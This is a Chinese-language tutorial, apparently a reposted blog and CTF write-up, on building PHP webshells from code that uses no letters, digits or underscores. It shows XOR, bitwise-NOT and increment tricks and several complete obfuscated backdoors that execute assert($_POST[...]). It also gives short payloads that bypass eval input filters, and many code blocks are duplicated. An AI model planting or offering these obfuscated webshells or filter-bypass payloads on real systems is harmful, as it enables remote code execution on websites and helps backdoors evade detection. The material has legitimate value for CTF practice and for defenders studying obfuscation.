漲姿勢:拋棄字母、數字和下劃線寫SHELL
PHP中異或 (^) 的概念
<?php
echo"A"^"?";
?>
<?php
echo"A"^"?";
?>
輸出的結果是字符 “~”,這是因為代碼對字符 “A” 和字符 “?” 進行了異或操作。在 PHP 中兩個變量進行異或時,會先將字符串轉換成 ASCII 值,再將 ASCII 值轉換成二進制再進行異或,異或完又將結果從二進制轉換成ASCII值,再轉換成字符串。
A 的 ASCII 值是 65,對應的二進制值是 01000001
1
A 的 ASCII 值是 65,對應的二進制值是 01000001
異或的二進制的值是 10000000
? 的 ASCII 值是 63,對應的二進制值是 00111111
異或的二進制的值是 10000000
二進制對應的 ASCII 為 126,也就是字符 “~”。
例如非數字字母的 PHP 後門
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
?>
甚至可以將上面的代碼合並為一行,從而使程序的可讀性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
甚至可以將上面的代碼合並為一行,從而使程序的可讀性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
PHP 中取反 (~) 的概念
來看一個漢字 “和”
>>>print("和".encode(‘utf8‘))
b‘\xe5\x92\x8c‘
>>>print("和".encode(‘utf8‘)[2])
140
>>>print(~"和".encode(‘utf8‘)[2])
-141
>>>print("和".encode(‘utf8‘))
b‘\xe5\x92\x8c‘
>>>print("和".encode(‘utf8‘)[2])
140
>>>print(~"和".encode(‘utf8‘)[2])
-141
“和” 的第三個字節的值為 140[0x8c],取反的值為 -141
負數用十六進制表示,通常用的是補碼的方式表示。負數的補碼是它本身的值每位求反,最後再加一。141 的 16 進制為 0xff73,php 中 chr(0xff73)==115,115 就是 s 的 ASCII 值。因此
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
兩個寫法性質一樣結果會輸出: ss
不用數字構造出數字
利用了 PHP 弱類型特性,true 的值為 1,故 true+true==2。結果會輸出:2 1
在 php 中未定義的變量默認值為 null,null==false==0,所以我們能夠在不使用任何數字的情況下通過對未定義變量的自增操作來得到一個數字。
<?php
$_++;
print($_);
?>
<?php
$_++;
print($_);
?>
結果會輸出:1
不用數字和字母的 shell
在講不用數字,字母和下劃線寫 shell 之前,先了解下不用數字和字母寫 shell。畢竟學習都是循序漸進的。而且用不用下劃線其實問題不大,因為 PHP 太靈活了。代碼:
<?php
if(!preg_match(‘/[a-z0-9]/is‘,$_GET[‘shell‘])) {
eval($_GET[‘shell‘]);
}
<?php
if(!preg_match(‘/[a-z0-9]/is‘,$_GET[‘shell‘])) {
eval($_GET[‘shell‘]);
}
思路
將非字母、數字的字符經過各種變換,最後能構造出 a-z 中任意一個字符。然後再利用 PHP 允許動態函數執行的特點,拼接處一個函數名,如 “assert”,然後動態執行即可。
非字母、數字的字符異或出字母
不可打印字符,用 url 編碼表示。
<?php
$_=(‘%01‘^‘`‘).(‘%13‘^‘`‘).(‘%13‘^‘`‘).(‘%05‘^‘`‘).(‘%12‘^‘`‘).(‘%14‘^‘`‘); // $_=‘assert‘;
$__=‘_‘.(‘%0D‘^‘]‘).(‘%2F‘^‘`‘).(‘%0E‘^‘]‘).(‘%09‘^‘]‘); // $__=‘_POST‘;
$___=$$__;
$_($___[_]); // assert($_POST[_]);
<?php
$_=(‘%01‘^‘`‘).(‘%13‘^‘`‘).(‘%13‘^‘`‘).(‘%05‘^‘`‘).(‘%12‘^‘`‘).(‘%14‘^‘`‘); // $_=‘assert‘;
$__=‘_‘.(‘%0D‘^‘]‘).(‘%2F‘^‘`‘).(‘%0E‘^‘]‘).(‘%09‘^‘]‘); // $__=‘_POST‘;
$___=$$__;
$_($___[_]); // assert($_POST[_]);
還可以用更短的字符,下面會用到。
"`{{{"^"?<>/"//_GET
1
"`{{{"^"?<>/"//_GET
^ 會對兩邊對應的字符串進行異或。
非字母、數字的字符取反出字母
利用的是 UTF-8 編碼的某個漢字,將其中的某個字符取出來,取反為字母。一個漢字的 utf8 是三個字節,{2} 表示第 3 個字節
<?php
header("Content-Type:text/html;charset=utf-8");
$__=(‘>‘>‘<‘)+(‘>‘>‘<‘);//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo"
";
print(~($____{$__}));
<?php
header("Content-Type:text/html;charset=utf-8");
$__=(‘>‘>‘<‘)+(‘>‘>‘<‘);//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo"
";
print(~($____{$__}));
payload
<?php
$__=(‘>‘>‘<‘)+(‘>‘>‘<‘);//$__2
$_=$__/$__;//$_1$____=‘‘;
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____=‘_‘;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
<?php
$__=(‘>‘>‘<‘)+(‘>‘>‘<‘);//$__2
$_=$__/$__;//$_1$____=‘‘;
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____=‘_‘;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
這裏也有一種簡短的寫法 ${~”\xa0\xb8\xba\xab”} 它等於 $_GET。這裏相當於直接把 utf8 編碼的某個字節提取出來統一進行取反。
php 遞增/遞減運算符
這種方法很明顯的缺點就是需要大量的字符。
‘a’++ => ‘b’,’b’++ => ‘c’,我們只要能拿到一個變量,其值為 a,通過自增操作即可獲得 a-z 中所有字符。
數組(Array)的第一個字母就是大寫 A,而且第 4 個字母是小寫 a。在 PHP 中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為 Array。再取這個字符串的第一個字母,就可以獲得 ‘A’。
因為 PHP 函數是大小寫不敏感的,最終執行的是 ASSERT($POST[]),無需獲取小寫 a。
<?php
$_=[];
[email protected]"$_"; // $_=‘Array‘;
$_=$_[‘!‘==‘@‘]; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____=‘_‘;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
<?php
$_=[];
[email protected]"$_"; // $_=‘Array‘;
$_=$_[‘!‘==‘@‘]; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____=‘_‘;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
不用數字和字母寫 shell 的實例
<?php
include‘flag.php‘;
if(isset($_GET[‘code‘])){
$code=$_GET[‘code‘];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
<?php
include‘flag.php‘;
if(isset($_GET[‘code‘])){
$code=$_GET[‘code‘];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
要求 code 的長度不能大於 40,限制輸入不能為字母和數字。可以利用 PHP 允許動態函數執行的特點,拼接出一個函數名 getFlag(),然後動態執行即可。
這裏依然可以用異或的方法,只是上面寫出來的字符長度太長了。需要用簡短的寫法:
payload
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
1
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
這裏的 “{{{"^"?<>/"上面已經說過了是異或的簡短寫法,表示_GET。
${$_}[_](${$_}[__]);等於 $_GET[_]($_GET[__]);
把_當作參數傳進去執行 getFlag()
這道題當然也可以用取反的方法,不過下面會講到,這裏就不再重復。
不用數字,字母和下劃線寫 shell 的實例
<?php
include‘flag.php‘;
if(isset($_GET[‘code‘])){
$code=$_GET[‘code‘];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
<?php
include‘flag.php‘;
if(isset($_GET[‘code‘])){
$code=$_GET[‘code‘];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
下劃線都不給,這就很恐怖了。意味著不能定義變量,而且也構造不出來數字。不過在PHP的靈活性面前,問題不大。
這是一開始學長給的 payload,+號 必須加引號
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."[‘+‘]"&+=getFlag();//$_GET[‘+‘]&+=getFlag();
1
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."[‘+‘]"&+=getFlag();//$_GET[‘+‘]&+=getFlag();
51 個字符太長了,所以這裏可以用簡短的寫法
(‘$‘).("`{{{"^"?<>/").([‘+‘])&+=getFlag();
1
(‘$‘).("`{{{"^"?<>/").([‘+‘])&+=getFlag();
不過這樣不能成功。
學長給出了解釋:eval 只能解析一遍代碼,所以如果寫的是 a.b 這樣的字符串拼接,就只會執行這個拼接,並不會去執行代碼
例如:
eval($_GET[‘b‘])url 裏面 b=phpinfo();這時候相當於eval(‘phpinfo();‘)
eval($_GET[‘b‘])url 裏面 b=phpinfo();這時候相當於eval(‘phpinfo();‘)
上面的 payload 是 code=$_GET[‘+‘]&+=getFlag();也就是eval(‘$_GET[‘+‘]) 並不會執行 getFlag();
正確的 payload 為:
${"`{{{"^"?<>/"}[‘+‘]();&+=getFlag
1
${"`{{{"^"?<>/"}[‘+‘]();&+=getFlag
這裏利用了 ${} 中的代碼是可以執行的特點,其實也就是可變變量。
<?php
$a=‘hello‘;
$$a=‘world‘;
echo"$a${$a}";
?>
輸出:helloworld
<?php
$a=‘hello‘;
$$a=‘world‘;
echo"$a${$a}";
?>
輸出:helloworld
${$a},括號中的 $a是可以執行的,變成了 hello。
payload 中的 {} 也是這個原理,{} 中用的是異或,^ 在 {} 中被執行了,也就是上面講的 "{{{“^”?<>/” 執行了異或操作,相當於 _GET。
最後 eval 函數拼接出了字符串 $_GET‘+‘;,然後傳入 +=getFlag,最後執行了函數 getFlag();
429 大佬給出的 payload:
http://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
這裏用的是取反
~ 在 {} 中執行了取反操作,所以 ${~”\xa0\xb8\xba\xab”} 取反相當於$_GET。
跟上面的 payload 一個原理,拼接出了 $_GET[‘+’]();,傳入 +=getFlag() 從而執行了函數。
還有一種拼接的 payload:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
1
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
原理大同小異,$啊=getFlag;$啊();,這裏就不需要用 {} 了,因為取反的值直接被當作字符串賦值給了 $ 啊。
總結
PHP 是弱類型的語言,因此我們可以利用這個特點進行許多非常規的操作,也就是利用各種騷姿勢來達到同一個目的。不過隨著 PHP 版本的變化,php 的一些特性也會變化,例如 php5 中 assert 是一個函數,但 php7 中,assert 不再是函數,變成了一個語言結構(類似 eval),不能再作為函數名動態執行代碼。因此我們要多熟悉 php 不同版本的差異。
轉載:https://www.artgeek.cn/?p=214
漲姿勢:拋棄字母、數字和下劃線寫SHELL